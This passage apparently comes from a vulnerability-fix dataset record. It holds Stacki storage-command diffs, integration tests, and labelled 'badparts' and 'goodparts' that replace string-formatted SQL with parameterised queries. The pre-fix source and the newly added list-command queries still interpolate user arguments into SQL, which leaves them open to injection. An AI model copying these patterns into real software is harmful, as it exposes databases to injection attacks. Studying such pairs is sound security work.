% (sqlvars, sqldata))\n+\ndiff --git a/common/src/stack/command/stack/commands/list/storage/controller/__init__.py b/common/src/stack/command/stack/commands/list/storage/controller/__init__.py\nindex 4e2699409..242790b78 100644\n--- a/common/src/stack/command/stack/commands/list/storage/controller/__init__.py\n+++ b/common/src/stack/command/stack/commands/list/storage/controller/__init__.py\n@@ -86,10 +86,11 @@ def run(self, params, args):\n \t\t\t\twhere scope = 'global'\n \t\t\t\torder by enclosure, adapter, slot\"\"\"\n \t\telif scope == 'os':\n-\t\t\t#\n-\t\t\t# not currently supported\n-\t\t\t#\n-\t\t\treturn\n+\n+\t\t\tquery = \"\"\"select adapter, enclosure, slot, raidlevel,\n+ arrayid, options from storage_controller where\n+ scope = \"os\" and tableid = (select id from oses\n+ where name = '%s') order by enclosure, adapter, slot\"\"\" % args[0]\n \t\telif scope == 'appliance':\n \t\t\tquery = \"\"\"select adapter, enclosure, slot,\n \t\t\t\traidlevel, arrayid, options\n@@ -112,7 +113,7 @@ def run(self, params, args):\n \t\tname = None\n \t\tif scope == 'global':\n \t\t\tname = 'global'\n-\t\telif scope in [ 'appliance', 'host']:\n+\t\telif scope in [ 'appliance', 'host', 'os']:\n \t\t\tname = args[0]\n \n \t\tself.beginOutput()\ndiff --git a/common/src/stack/command/stack/commands/list/storage/partition/__init__.py b/common/src/stack/command/stack/commands/list/storage/partition/__init__.py\nindex 9d19d9f77..ea4317e41 100644\n--- a/common/src/stack/command/stack/commands/list/storage/partition/__init__.py\n+++ b/common/src/stack/command/stack/commands/list/storage/partition/__init__.py\n@@ -85,7 +85,6 @@ def run(self, params, args):\n \t\t\t\tscope = 'appliance'\n \t\t\telif args[0] in hosts:\n \t\t\t\tscope = 'host'\n-\n \t\tif not scope:\n \t\t\traise ParamValue(self, 'scope', 'valid os, appliance name or host name')\n \t\tquery = None\n@@ -105,11 +104,14 @@ def run(self, params, args):\n \t\t\t\t\tp.fstype, p.options, p.partid from storage_partition as p inner join\n \t\t\t\t\tappliances as a on p.tableid=a.id where\n \t\t\t\t\tp.scope='appliance') order by scope,device,partid,size,fstype\"\"\"\n+\n+\n+\n+\n \t\telif scope == 'os':\n-\t\t\t#\n-\t\t\t# not currently supported\n-\t\t\t#\n-\t\t\treturn\n+\t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n+\t\t\t\tfrom storage_partition where scope = \"os\" and tableid = (select id\n+\t\t\t\tfrom oses where name = '%s') order by device,partid,fstype,size\"\"\" % args[0]\n \t\telif scope == 'appliance':\n \t\t\tquery = \"\"\"select scope, device, mountpoint, size, fstype, options, partid\n \t\t\t\tfrom storage_partition where scope = \"appliance\"\n@@ -127,7 +129,6 @@ def run(self, params, args):\n \t\tself.beginOutput()\n \n \t\tself.db.execute(query)\n-\n \t\ti = 0\n \t\tfor row in self.db.fetchall():\n \t\t\tname, device, mountpoint, size, fstype, options, partid = row\n@@ -135,8 +136,7 @@ def run(self, params, args):\n \t\t\t\tsize = \"recommended\"\n \t\t\telif size == -2:\n \t\t\t\tsize = \"hibernation\"\n-\n-\t\t\tif name == \"host\" or name == \"appliance\":\n+\t\t\tif name == \"host\" or name == \"appliance\" or name == \"os\":\n \t\t\t\tname = args[0]\t\n \n \t\t\tif mountpoint == 'None':\n@@ -154,3 +154,4 @@ def run(self, params, args):\n \t\t\ti += 1\n \n \t\tself.endOutput(header=['scope', 'device', 'partid', 'mountpoint', 'size', 'fstype', 'options'], trimOwner=False)\n+\ndiff --git a/test-framework/test-suites/integration/tests/add/test_add_storage_controller.py b/test-framework/test-suites/integration/tests/add/test_add_storage_controller.py\nindex e69de29bb..ac80b1982 100644\n--- a/test-framework/test-suites/integration/tests/add/test_add_storage_controller.py\n+++ b/test-framework/test-suites/integration/tests/add/test_add_storage_controller.py\n@@ -0,0 +1,21 @@\n+import pytest\n+\n+\n+class TestAddStorageController:\n+\n+\t\"\"\"\n+\tTest that we can successfully add an os level storage controller\n+\t\"\"\"\n+\n+\tdef test_add_storage_controller(self, host):\n+\t\t#this should work and have no errors\n+\t\tresults = host.run('stack add storage controller redhat adapter=1 arrayid=2 enclosure=3 raidlevel=4 slot=5')\n+\t\tassert results.rc == 0\n+\n+\t\t#make sure that we are able to list the entry we just added\n+\t\tresults = host.run('stack list storage controller redhat')\n+\t\tassert 'redhat' in str(results.stdout)\n+\n+\t\t#this should not work because 'blah' is not a valid scope\n+\t\tresults = host.run('stack add storage controller blah adapter=1 arrayid=2 enclosure=3 raidlevel=4 slot=5')\n+\t\tassert results.rc != 0\ndiff --git a/test-framework/test-suites/integration/tests/add/test_add_storage_partition.py b/test-framework/test-suites/integration/tests/add/test_add_storage_partition.py\nindex e69de29bb..419bc3d1a 100644\n--- a/test-framework/test-suites/integration/tests/add/test_add_storage_partition.py\n+++ b/test-framework/test-suites/integration/tests/add/test_add_storage_partition.py\n@@ -0,0 +1,26 @@\n+import pytest\n+\n+\n+class TestAddStorageController:\n+\n+\t\"\"\"\n+\tTest that we can successfully add an os level storage partition\n+\t\"\"\"\n+\n+\tdef test_add_storage_partition(self, host):\n+\n+\t\t#this should work and have no errors\n+\t\tresults = host.run('stack add storage partition redhat device=test0 size=1 partid=1')\n+\t\tassert results.rc == 0\n+\n+\t\t#make sure that we are able to list the entry we just added\n+\t\tresults = host.run('stack list storage partition redhat')\n+\t\tassert 'redhat' in str(results.stdout)\n+\n+\t\t#this should not work because the size parameter is required\n+\t\tresults = host.run('stack add storage partition redhat device=test0')\n+\t\tassert results.rc != 0\n+\n+\t\t#this should not work because 'blah' is not a valid scope\n+\t\tresults = host.run('stack add storage partition blah device=test0 size=1 partid=1')\n+\t\tassert results.rc != 0\n", "files": {"/common/src/stack/command/stack/commands/add/storage/controller/__init__.py": {"changes": [{"diff": "\n from stack.exception import CommandError, ParamRequired, ParamType, ParamValue, ParamError\n \n \n-class Command(stack.commands.HostArgumentProcessor,\n+class Command(stack.commands.OSArgumentProcessor, stack.commands.HostArgumentProcessor,\n \t\tstack.commands.ApplianceArgumentProcessor,\n \t\tstack.commands.add.command):\n \t\"\"\"\n", "add": 1, "remove": 1, "filename": "/common/src/stack/command/stack/commands/add/storage/controller/__init__.py", "badparts": ["class Command(stack.commands.HostArgumentProcessor,"], "goodparts": ["class Command(stack.commands.OSArgumentProcessor, stack.commands.HostArgumentProcessor,"]}, {"diff": "\n \t\t\ttableid = -1\n \t\telif scope == 'appliance':\n \t\t\tself.db.execute(\"\"\"select id from appliances where\n-\t\t\t\tname = '%s' \"\"\" % name)\n+\t\t\t\tname = %s \"\"\", name)\n+\t\t\ttableid, = self.db.fetchone()\n+\n+\t\telif scope == 'os':\n+\t\t\tself.db.execute(\"\"\"select id from oses where\n+\t\t\t\tname = %s \"\"\", name)\n \t\t\ttableid, = self.db.fetchone()\n+\n \t\telif scope == 'host':\n \t\t\tself.db.execute(\"\"\"select id from nodes where\n-\t\t\t\tname = '%s' \"\"\" % name)\n+\t\t\t\tname = %s \"\"\", name)\n \t\t\ttableid, = self.db.fetchone()\n \n \t\t#\n", "add": 8, "remove": 2, "filename": "/common/src/stack/command/stack/commands/add/storage/controller/__init__.py", "badparts": ["\t\t\t\tname = '%s' \"\"\" % name)", "\t\t\t\tname = '%s' \"\"\" % name)"], "goodparts": ["\t\t\t\tname = %s \"\"\", name)", "\t\t\ttableid, = self.db.fetchone()", "\t\telif scope == 'os':", "\t\t\tself.db.execute(\"\"\"select id from oses where", "\t\t\t\tname = %s \"\"\", name)", "\t\t\t\tname = %s \"\"\", name)"]}, {"diff": "\n \t\tfor slot in slots:\n \t\t\tself.db.execute(\"\"\"insert into storage_controller\n \t\t\t\t(scope, tableid, adapter, enclosure, slot,\n-\t\t\t\traidlevel, arrayid, options) values ('%s', %s, %s, %s,\n-\t\t\t\t%s, %s, %s, '%s') \"\"\" % (scope, tableid, adapter,\n+\t\t\t\traidlevel, arrayid, options) values (%s, %s, %s, %s,\n+\t\t\t\t%s, %s, %s, %s) \"\"\",(scope, tableid, adapter,\n \t\t\t\tenclosure, slot, raidlevel, arrayid, options))\n \n \t\tfor hotspare in hotspares:\n", "add": 2, "remove": 2, "filename": "/common/src/stack/command/stack/commands/add/storage/controller/__init__.py", "badparts": ["\t\t\t\traidlevel, arrayid, options) values ('%s', %s, %s, %s,", "\t\t\t\t%s, %s, %s, '%s') \"\"\" % (scope, tableid, adapter,"], "goodparts": ["\t\t\t\traidlevel, arrayid, options) values (%s, %s, %s, %s,", "\t\t\t\t%s, %s, %s, %s) \"\"\",(scope, tableid, adapter,"]}, {"diff": "\n \n \t\t\tself.db.execute(\"\"\"insert into storage_controller\n \t\t\t\t(scope, tableid, adapter, enclosure, slot,\n-\t\t\t\traidlevel, arrayid, options) values ('%s', %s, %s, %s,\n-\t\t\t\t%s, %s, %s, '%s') \"\"\" % (scope, tableid, adapter,\n+\t\t\t\traidlevel, arrayid, options) values (%s, %s, %s, %s,\n+\t\t\t\t%s, %s, %s, %s) \"\"\",(scope, tableid, adapter,\n \t\t\t\tenclosure, hotspare, raidlevel, arrayid, options))\n ", "add": 2, "remove": 2, "filename": "/common/src/stack/command/stack/commands/add/storage/controller/__init__.py", "badparts": ["\t\t\t\traidlevel, arrayid, options) values ('%s', %s, %s, %s,", "\t\t\t\t%s, %s, %s, '%s') \"\"\" % (scope, tableid, adapter,"], "goodparts": ["\t\t\t\traidlevel, arrayid, options) values (%s, %s, %s, %s,", "\t\t\t\t%s, %s, %s, %s) \"\"\",(scope, tableid, adapter,"]}], "source": "\n import stack.commands from stack.exception import CommandError, ParamRequired, ParamType, ParamValue, ParamError class Command(stack.commands.HostArgumentProcessor, \t\tstack.commands.ApplianceArgumentProcessor, \t\tstack.commands.add.command): \t\"\"\" \tAdd a storage controller configuration to the database. \t \tZero or one argument. The argument is the scope: a valid os(e.g., \t'redhat'), a valid appliance(e.g., 'backend') or a valid host \t(e.g., 'backend-0-0). No argument means the scope is 'global'. \t \t \tAdapter address. \t \t \tEnclosure address. \t \t \tSlot address(es). This can be a comma-separated list meaning all disks \tin the specified slots will be associated with the same array \t \t \tRAID level. Raid 0, 1, 5, 6 and 10 are currently supported. \t \t \tSlot address(es) of the hotspares associated with this array id. This \tcan be a comma-separated list(like the 'slot' parameter). If the \t'arrayid' is 'global', then the specified slots are global hotspares. \t \t \tThe 'arrayid' is used to determine which disks are grouped as part \tof the same array. For example, all the disks with arrayid of '1' will \tbe part of the same array. Arrayids must be integers starting at 1 \tor greater. If the arrayid is 'global', then 'hotspare' must \thave at least one slot definition(this is how one specifies a global \thotspare). \tIn addition, the arrays will be created in arrayid order, that is, \tthe array with arrayid equal to 1 will be created first, arrayid \tequal to 2 will be created second, etc. \t \t \tThe disk in slot 1 on backend-0-0 should be a RAID 0 disk. \t \t \tThe disks in slots 2-6 on backend-0-0 should be a RAID 6 with two \thotspares associated with the array in slots 7 and 8. \t \t\"\"\" \tdef checkIt(self, name, scope, tableid, adapter, enclosure, slot): \t\tself.db.execute(\"\"\"select scope, tableid, adapter, enclosure, \t\t\tslot from storage_controller where \t\t\tscope='%s' and tableid=%s and adapter=%s and \t\t\tenclosure=%s and slot=%s\"\"\" %(scope, tableid, \t\t\tadapter, enclosure, slot)) \t\trow=self.db.fetchone() \t\tif row: \t\t\tlabel=[ 'scope', 'name'] \t\t\tvalue=[ scope, name] \t\t\tif adapter > -1: \t\t\t\tlabel.append('adapter') \t\t\t\tvalue.append('%s' % adapter) \t\t\tif enclosure > -1: \t\t\t\tlabel.append('enclosure') \t\t\t\tvalue.append('%s' % enclosure) \t\t\tlabel.append('slot') \t\t\tvalue.append('%s' % slot) \t\t\traise CommandError(self, 'disk specification %s %s already exists in the database' %('/'.join(label), '/'.join(value))) \tdef run(self, params, args): \t\tscope=None \t\toses=[] \t\tappliances=[] \t\thosts=[] \t\tif len(args)==0: \t\t\tscope='global' \t\telif len(args)==1: \t\t\ttry: \t\t\t\toses=self.getOSNames(args) \t\t\texcept: \t\t\t\toses=[] \t\t\ttry: \t\t\t\tappliances=self.getApplianceNames(args) \t\t\texcept: \t\t\t\tappliances=[] \t\t\ttry: \t\t\t\thosts=self.getHostnames(args) \t\t\texcept: \t\t\t\thosts=[] \t\telse: \t\t\traise CommandError(self, 'must supply zero or one argument') \t\tif not scope: \t\t\tif args[0] in oses: \t\t\t\tscope='os' \t\t\telif args[0] in appliances: \t\t\t\tscope='appliance' \t\t\telif args[0] in hosts: \t\t\t\tscope='host' \t\tif not scope: \t\t\traise CommandError(self, 'argument \"%s\" must be a valid os, appliance name or host name' % args[0]) \t\tif scope=='global': \t\t\tname='global' \t\telse: \t\t\tname=args[0] \t\tadapter, enclosure, slot, hotspare, raidlevel, arrayid, options, force=self.fillParams([ \t\t\t('adapter', None), \t\t\t('enclosure', None), \t\t\t('slot', None), \t\t\t('hotspare', None), \t\t\t('raidlevel', None), \t\t\t('arrayid', None, True), \t\t\t('options', ''), \t\t\t('force', 'n') \t\t\t]) \t\tif not hotspare and not slot: \t\t\traise ParamRequired(self,[ 'slot', 'hotspare']) \t\tif arrayid !='global' and not raidlevel: \t\t\traise ParamRequired(self, 'raidlevel') \t\tif adapter: \t\t\ttry: \t\t\t\tadapter=int(adapter) \t\t\texcept: \t\t\t\traise ParamType(self, 'adapter', 'integer') \t\t\tif adapter < 0: \t\t\t\traise ParamValue(self, 'adapter', '>=0') \t\telse: \t\t\tadapter=-1 \t\tif enclosure: \t\t\ttry: \t\t\t\tenclosure=int(enclosure) \t\t\texcept: \t\t\t\traise ParamType(self, 'enclosure', 'integer') \t\t\tif enclosure < 0: \t\t\t\traise ParamValue(self, 'enclosure', '>=0') \t\telse: \t\t\tenclosure=-1 \t\tslots=[] \t\tif slot: \t\t\tfor s in slot.split(','): \t\t\t\tif s=='*': \t\t\t\t\t \t\t\t\t\t \t\t\t\t\t \t\t\t\t\ts=-1 \t\t\t\telse: \t\t\t\t\ttry: \t\t\t\t\t\ts=int(s) \t\t\t\t\texcept: \t\t\t\t\t\traise ParamType(self, 'slot', 'integer') \t\t\t\t\tif s < 0: \t\t\t\t\t\traise ParamValue(self, 'slot', '>=0') \t\t\t\t\tif s in slots: \t\t\t\t\t\traise ParamError(self, 'slot', ' \"%s\" is listed twice' % s) \t\t\t\tslots.append(s) \t\thotspares=[] \t\tif hotspare: \t\t\tfor h in hotspare.split(','): \t\t\t\ttry: \t\t\t\t\th=int(h) \t\t\t\texcept:\t \t\t\t\t\traise ParamType(self, 'hotspare', 'integer') \t\t\t\tif h < 0: \t\t\t\t\traise ParamValue(self, 'hostspare', '>=0') \t\t\t\tif h in hotspares: \t\t\t\t\traise ParamError(self, 'hostspare', ' \"%s\" is listed twice' % h) \t\t\t\thotspares.append(h) \t\tif arrayid in[ 'global', '*']: \t\t\tpass \t\telse: \t\t\ttry: \t\t\t\tarrayid=int(arrayid) \t\t\texcept: \t\t\t\traise ParamType(self, 'arrayid', 'integer') \t\t\tif arrayid < 1: \t\t\t\traise ParamValue(self, 'arrayid', '>=0') \t\tif arrayid=='global' and len(hotspares)==0: \t\t\traise ParamError(self, 'arrayid', 'is \"global\" with no hotspares. Please supply at least one hotspare') \t\t \t\t \t\t \t\ttableid=None \t\tif scope=='global': \t\t\ttableid=-1 \t\telif scope=='appliance': \t\t\tself.db.execute(\"\"\"select id from appliances where \t\t\t\tname='%s' \"\"\" % name) \t\t\ttableid,=self.db.fetchone() \t\telif scope=='host': \t\t\tself.db.execute(\"\"\"select id from nodes where \t\t\t\tname='%s' \"\"\" % name) \t\t\ttableid,=self.db.fetchone() \t\t \t\t \t\t \t\tforce=self.str2bool(force) \t\tfor slot in slots: \t\t\tif not force: \t\t\t\tself.checkIt(name, scope, tableid, adapter, enclosure, \t\t\t\t\tslot) \t\tfor hotspare in hotspares: \t\t\tif not force: \t\t\t\tself.checkIt(name, scope, tableid, adapter, enclosure, \t\t\t\t\thotspare) \t\tif arrayid=='global': \t\t\tarrayid=-1 \t\telif arrayid=='*': \t\t\tarrayid=-2 \t\t \t\t \t\t \t\tfor slot in slots: \t\t\tself.db.execute(\"\"\"insert into storage_controller \t\t\t\t(scope, tableid, adapter, enclosure, slot, \t\t\t\traidlevel, arrayid, options) values('%s', %s, %s, %s, \t\t\t\t%s, %s, %s, '%s') \"\"\" %(scope, tableid, adapter, \t\t\t\tenclosure, slot, raidlevel, arrayid, options)) \t\tfor hotspare in hotspares: \t\t\traidlevel=-1 \t\t\tif arrayid=='global': \t\t\t\tarrayid=-1 \t\t\tself.db.execute(\"\"\"insert into storage_controller \t\t\t\t(scope, tableid, adapter, enclosure, slot, \t\t\t\traidlevel, arrayid, options) values('%s', %s, %s, %s, \t\t\t\t%s, %s, %s, '%s') \"\"\" %(scope, tableid, adapter, \t\t\t\tenclosure, hotspare, raidlevel, arrayid, options)) ", "sourceWithComments": "# @copyright@\n# Copyright (c) 2006 - 2018 Teradata\n# All rights reserved. Stacki(r) v5.x stacki.com\n# https://github.com/Teradata/stacki/blob/master/LICENSE.txt\n# @copyright@\n#\n# @rocks@\n\nimport stack.commands\nfrom stack.exception import CommandError, ParamRequired, ParamType, ParamValue, ParamError\n\n\nclass Command(stack.commands.HostArgumentProcessor,\n\t\tstack.commands.ApplianceArgumentProcessor,\n\t\tstack.commands.add.command):\n\t\"\"\"\n\tAdd a storage controller configuration to the database.\n\n\t\n\tZero or one argument. The argument is the scope: a valid os (e.g.,\n\t'redhat'), a valid appliance (e.g., 'backend') or a valid host\n\t(e.g., 'backend-0-0). No argument means the scope is 'global'.\n\t\n\n\t\n\tAdapter address.\n\t\n\n\t\n\tEnclosure address.\n\t\n\n\t\n\tSlot address(es). This can be a comma-separated list meaning all disks\n\tin the specified slots will be associated with the same array\n\t\n\n\t\n\tRAID level. Raid 0, 1, 5, 6 and 10 are currently supported.\n\t\n\n\t\n\tSlot address(es) of the hotspares associated with this array id. This\n\tcan be a comma-separated list (like the 'slot' parameter). If the\n\t'arrayid' is 'global', then the specified slots are global hotspares.\n\t\n\n\t\n\tThe 'arrayid' is used to determine which disks are grouped as part\n\tof the same array. For example, all the disks with arrayid of '1' will\n\tbe part of the same array. Arrayids must be integers starting at 1\n\tor greater. If the arrayid is 'global', then 'hotspare' must\n\thave at least one slot definition (this is how one specifies a global\n\thotspare).\n\tIn addition, the arrays will be created in arrayid order, that is,\n\tthe array with arrayid equal to 1 will be created first, arrayid\n\tequal to 2 will be created second, etc.\n\t\n\n\t\n\tThe disk in slot 1 on backend-0-0 should be a RAID 0 disk.\n\t\n\n\t\n\tThe disks in slots 2-6 on backend-0-0 should be a RAID 6 with two\n\thotspares associated with the array in slots 7 and 8.\n\t\n\t\"\"\"\n\n\tdef checkIt(self, name, scope, tableid, adapter, enclosure, slot):\n\t\tself.db.execute(\"\"\"select scope, tableid, adapter, enclosure,\n\t\t\tslot from storage_controller where\n\t\t\tscope = '%s' and tableid = %s and adapter = %s and\n\t\t\tenclosure = %s and slot = %s\"\"\" % (scope, tableid,\n\t\t\tadapter, enclosure, slot))\n\n\t\trow = self.db.fetchone()\n\n\t\tif row:\n\t\t\tlabel = [ 'scope', 'name' ]\n\t\t\tvalue = [ scope, name ]\n\n\t\t\tif adapter > -1:\n\t\t\t\tlabel.append('adapter')\n\t\t\t\tvalue.append('%s' % adapter)\n\t\t\tif enclosure > -1:\n\t\t\t\tlabel.append('enclosure')\n\t\t\t\tvalue.append('%s' % enclosure)\n\n\t\t\tlabel.append('slot')\n\t\t\tvalue.append('%s' % slot)\n\n\t\t\traise CommandError(self, 'disk specification %s %s already exists in the database' % ('/'.join(label), '/'.join(value)))\n\n\n\tdef run(self, params, args):\n\t\tscope = None\n\t\toses = []\n\t\tappliances = []\n\t\thosts = []\n\n\t\tif len(args) == 0:\n\t\t\tscope = 'global'\n\t\telif len(args) == 1:\n\t\t\ttry:\n\t\t\t\toses = self.getOSNames(args)\n\t\t\texcept:\n\t\t\t\toses = []\n\n\t\t\ttry:\n\t\t\t\tappliances = self.getApplianceNames(args)\n\t\t\texcept:\n\t\t\t\tappliances = []\n\n\t\t\ttry:\n\t\t\t\thosts = self.getHostnames(args)\n\t\t\texcept:\n\t\t\t\thosts = []\n\t\telse:\n\t\t\traise CommandError(self, 'must supply zero or one argument')\n\n\t\tif not scope:\n\t\t\tif args[0] in oses:\n\t\t\t\tscope = 'os'\n\t\t\telif args[0] in appliances:\n\t\t\t\tscope = 'appliance'\n\t\t\telif args[0] in hosts:\n\t\t\t\tscope = 'host'\n\n\t\tif not scope:\n\t\t\traise CommandError(self, 'argument \"%s\" must be a valid os, appliance name or host name' % args[0])\n\n\t\tif scope == 'global':\n\t\t\tname = 'global'\n\t\telse:\n\t\t\tname = args[0]\n\n\t\tadapter, enclosure, slot, hotspare, raidlevel, arrayid, options, force = self.fillParams([\n\t\t\t('adapter', None),\n\t\t\t('enclosure', None),\n\t\t\t('slot', None),\n\t\t\t('hotspare', None),\n\t\t\t('raidlevel', None),\n\t\t\t('arrayid', None, True),\n\t\t\t('options', ''),\n\t\t\t('force', 'n')\n\t\t\t])\n\n\t\tif not hotspare and not slot:\n\t\t\traise ParamRequired(self, [ 'slot', 'hotspare' ])\n\t\tif arrayid != 'global' and not raidlevel:\n\t\t\traise ParamRequired(self, 'raidlevel')\n\n\t\tif adapter:\n\t\t\ttry:\n\t\t\t\tadapter = int(adapter)\n\t\t\texcept:\n\t\t\t\traise ParamType(self, 'adapter', 'integer')\n\t\t\tif adapter < 0:\n\t\t\t\traise ParamValue(self, 'adapter', '>= 0')\n\t\telse:\n\t\t\tadapter = -1\n\n\t\tif enclosure:\n\t\t\ttry:\n\t\t\t\tenclosure = int(enclosure)\n\t\t\texcept:\n\t\t\t\traise ParamType(self, 'enclosure', 'integer')\n\t\t\tif enclosure < 0:\n\t\t\t\traise ParamValue(self, 'enclosure', '>= 0')\n\t\telse:\n\t\t\tenclosure = -1\n\n\t\tslots = []\n\t\tif slot:\n\t\t\tfor s in slot.split(','):\n\t\t\t\tif s == '*':\n\t\t\t\t\t#\n\t\t\t\t\t# represent '*' in the database as '-1'\n\t\t\t\t\t#\n\t\t\t\t\ts = -1\n\t\t\t\telse:\n\t\t\t\t\ttry:\n\t\t\t\t\t\ts = int(s)\n\t\t\t\t\texcept:\n\t\t\t\t\t\traise ParamType(self, 'slot', 'integer')\n\t\t\t\t\tif s < 0:\n\t\t\t\t\t\traise ParamValue(self, 'slot', '>= 0')\n\t\t\t\t\tif s in slots:\n\t\t\t\t\t\traise ParamError(self, 'slot', ' \"%s\" is listed twice' % s)\n\t\t\t\tslots.append(s)\n\n\t\thotspares = []\n\t\tif hotspare:\n\t\t\tfor h in hotspare.split(','):\n\t\t\t\ttry:\n\t\t\t\t\th = int(h)\n\t\t\t\texcept:\t\n\t\t\t\t\traise ParamType(self, 'hotspare', 'integer')\n\t\t\t\tif h < 0:\n\t\t\t\t\traise ParamValue(self, 'hostspare', '>= 0')\n\t\t\t\tif h in hotspares:\n\t\t\t\t\traise ParamError(self, 'hostspare', ' \"%s\" is listed twice' % h)\n\t\t\t\thotspares.append(h)\n\n\t\tif arrayid in [ 'global', '*' ]:\n\t\t\tpass\n\t\telse:\n\t\t\ttry:\n\t\t\t\tarrayid = int(arrayid)\n\t\t\texcept:\n\t\t\t\traise ParamType(self, 'arrayid', 'integer')\n\t\t\tif arrayid < 1:\n\t\t\t\traise ParamValue(self, 'arrayid', '>= 0')\n\n\t\tif arrayid == 'global' and len(hotspares) == 0:\n\t\t\traise ParamError(self, 'arrayid', 'is \"global\" with no hotspares. Please supply at least one hotspare')\n\n\t\t#\n\t\t# look up the id in the appropriate 'scope' table\n\t\t#\n\t\ttableid = None\n\t\tif scope == 'global':\n\t\t\ttableid = -1\n\t\telif scope == 'appliance':\n\t\t\tself.db.execute(\"\"\"select id from appliances where\n\t\t\t\tname = '%s' \"\"\" % name)\n\t\t\ttableid, = self.db.fetchone()\n\t\telif scope == 'host':\n\t\t\tself.db.execute(\"\"\"select id from nodes where\n\t\t\t\tname = '%s' \"\"\" % name)\n\t\t\ttableid, = self.db.fetchone()\n\n\t\t#\n\t\t# make sure the specification doesn't already exist\n\t\t#\n\t\tforce = self.str2bool(force)\n\t\tfor slot in slots:\n\t\t\tif not force:\n\t\t\t\tself.checkIt(name, scope, tableid, adapter, enclosure,\n\t\t\t\t\tslot)\n\t\tfor hotspare in hotspares:\n\t\t\tif not force:\n\t\t\t\tself.checkIt(name, scope, tableid, adapter, enclosure,\n\t\t\t\t\thotspare)\n\n\t\tif arrayid == 'global':\n\t\t\tarrayid = -1\n\t\telif arrayid == '*':\n\t\t\tarrayid = -2\n\n\t\t#\n\t\t# now add the specifications to the database\n\t\t#\n\t\tfor slot in slots:\n\t\t\tself.db.execute(\"\"\"insert into storage_controller\n\t\t\t\t(scope, tableid, adapter, enclosure, slot,\n\t\t\t\traidlevel, arrayid, options) values ('%s', %s, %s, %s,\n\t\t\t\t%s, %s, %s, '%s') \"\"\" % (scope, tableid, adapter,\n\t\t\t\tenclosure, slot, raidlevel, arrayid, options))\n\n\t\tfor hotspare in hotspares:\n\t\t\traidlevel = -1\n\t\t\tif arrayid == 'global':\n\t\t\t\tarrayid = -1\n\n\t\t\tself.db.execute(\"\"\"insert into storage_controller\n\t\t\t\t(scope, tableid, adapter, enclosure, slot,\n\t\t\t\traidlevel, arrayid, options) values ('%s', %s, %s, %s,\n\t\t\t\t%s, %s, %s, '%s') \"\"\" % (scope, tableid, adapter,\n\t\t\t\tenclosure, hotspare, raidlevel, arrayid, options))\n\n"}, "/common/src/stack/command/stack/commands/add/storage/partition/__init__.py": {"changes": [{"diff": "\n from stack.exception import CommandError, ArgRequired, ArgValue, ParamRequired, ParamType, ParamValue\n \n \n-class Command(stack.commands.HostArgumentProcessor,\n+class Command(stack.commands.OSArgumentProcessor, stack.commands.HostArgumentProcessor,\n \t\tstack.commands.ApplianceArgumentProcessor,\n \t\tstack.commands.add.command):\n \t\"\"\"\n", "add": 1, "remove": 1, "filename": "/common/src/stack/command/stack/commands/add/storage/partition/__init__.py", "badparts": ["class Command(stack.commands.HostArgumentProcessor,"], "goodparts": ["class Command(stack.commands.OSArgumentProcessor, stack.commands.HostArgumentProcessor,"]}, {"diff": "\n \tMountpoint to create\n \t\n \n-\t\n+\t\n \tSize of the partition.\n \t\n \n", "add": 1, "remove": 1, "filename": "/common/src/stack/command/stack/commands/add/storage/partition/__init__.py", "badparts": ["\t"], "goodparts": ["\t"]}, {"diff": "\n \tOptions that need to be supplied while adding partitions.\n \t\n \n-\t\n+\t\n \tThe relative partition id for this partition. Partitions will be\n \tcreated in ascending partition id order.\n \t\n", "add": 1, "remove": 1, "filename": "/common/src/stack/command/stack/commands/add/storage/partition/__init__.py", "badparts": ["\t"], "goodparts": ["\t"]}, {"diff": "\n \tdef checkIt(self, device, scope, tableid, mountpt):\n \t\tself.db.execute(\"\"\"select Scope, TableID, Mountpoint,\n \t\t\tdevice, Size, FsType from storage_partition where\n-\t\t\tScope='%s' and TableID=%s and device= '%s'\n-\t\t\tand Mountpoint='%s'\"\"\" % (scope, tableid, device, mountpt))\n+\t\t\tScope=%s and TableID=%s and device= %s\n+\t\t\tand Mountpoint=%s\"\"\",(scope, tableid, device, mountpt))\n \n \t\trow = self.db.fetchone()\n \n", "add": 2, "remove": 2, "filename": "/common/src/stack/command/stack/commands/add/storage/partition/__init__.py", "badparts": ["\t\t\tScope='%s' and TableID=%s and device= '%s'", "\t\t\tand Mountpoint='%s'\"\"\" % (scope, tableid, device, mountpt))"], "goodparts": ["\t\t\tScope=%s and TableID=%s and device= %s", "\t\t\tand Mountpoint=%s\"\"\",(scope, tableid, device, mountpt))"]}, {"diff": "\n \t\tif partid:\n \t\t\ttry:\n \t\t\t\tp = int(partid)\n-\t\t\texcept:\n-\t\t\t\tpartid = None\n+\t\t\texcept ValueError:\n+\t\t\t\traise ParamValue(self, 'partid', 'an integer')\n \n \t\t\tif p < 1:\n \t\t\t\traise ParamValue(self, 'partid', '>= 0')\n", "add": 2, "remove": 2, "filename": "/common/src/stack/command/stack/commands/add/storage/partition/__init__.py", "badparts": ["\t\t\texcept:", "\t\t\t\tpartid = None"], "goodparts": ["\t\t\texcept ValueError:", "\t\t\t\traise ParamValue(self, 'partid', 'an integer')"]}], "source": "\n import stack.commands from stack.exception import CommandError, ArgRequired, ArgValue, ParamRequired, ParamType, ParamValue class Command(stack.commands.HostArgumentProcessor, \t\tstack.commands.ApplianceArgumentProcessor, \t\tstack.commands.add.command): \t\"\"\" \tAdd a partition configuration to the database. \t \tZero or one argument. The argument is the scope: a valid os(e.g., \t'redhat'), a valid appliance(e.g., 'backend') or a valid host \t(e.g., 'backend-0-0). No argument means the scope is 'global'. \t \t \tDisk device on which we are creating partitions \t \t \tMountpoint to create \t \t \tSize of the partition. \t \t \tType of partition E.g: ext4, ext3, xfs, raid, etc. \t \t \tOptions that need to be supplied while adding partitions. \t \t \tThe relative partition id for this partition. Partitions will be \tcreated in ascending partition id order. \t \t \t \tCreates a ext4 partition on device sda with mountpoints /var. \t \t \tCreates a physical volume named pv.01 for lvm. \t \t \tCreates a volume group from 3 physical volumes i.e. pv.01, pv.02, pv.03. All these 3 \tphysical volumes need to be created with the previous example. PV's need to be space \tseparated. \t \t \tCreated an xfs lvm partition of size 8192 on volgrp01. volgrp01 needs to be created \twith the previous example. \t \t\"\"\" \t \t \t \t \tdef checkIt(self, device, scope, tableid, mountpt): \t\tself.db.execute(\"\"\"select Scope, TableID, Mountpoint, \t\t\tdevice, Size, FsType from storage_partition where \t\t\tScope='%s' and TableID=%s and device='%s' \t\t\tand Mountpoint='%s'\"\"\" %(scope, tableid, device, mountpt)) \t\trow=self.db.fetchone() \t\tif row: \t\t\traise CommandError(self, 